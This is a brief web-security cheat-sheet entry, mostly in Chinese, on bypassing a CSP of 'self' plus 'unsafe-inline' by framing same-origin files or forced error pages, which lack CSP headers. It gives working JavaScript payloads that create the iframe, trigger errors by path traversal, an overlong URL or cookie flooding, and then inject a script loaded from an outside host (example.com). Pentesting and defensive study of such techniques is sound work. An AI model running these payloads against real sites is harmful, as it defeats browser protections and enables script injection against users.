CSP bypass: self + 'unsafe-inline' with Iframes
A configuration such as:
Content-Security-Policy: default-src 'self' 'unsafe-inline';
禁止使用任何以字符串形式传输并执行代码的函数。例如:eval, setTimeout, setInterval
都将被阻止,因为设置了unsafe-eval
任何来自外部来源的内容也会被阻止,包括图像、CSS、WebSockets,尤其是JS
通过文本和图像
观察到现代浏览器将图像和文本转换为HTML以增强其显示效果(例如,设置背景、居中等)。因此,如果通过iframe
打开图像或文本文件,例如favicon.ico
或robots.txt
,它将被呈现为HTML。值得注意的是,这些页面通常缺少CSP标头,可能不包括X-Frame-Options,从而使得可以从中执行任意JavaScript:
frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);
通过错误
同样,错误响应,如文本文件或图像,通常不带有CSP标头,可能会省略X-Frame-Options。可以诱发错误加载到iframe中,从而实现以下操作:
// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);
// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);
// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}
触发任何提到的场景后,可以通过以下方式在 iframe 中实现 JavaScript 执行:
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);
参考资料
最后更新于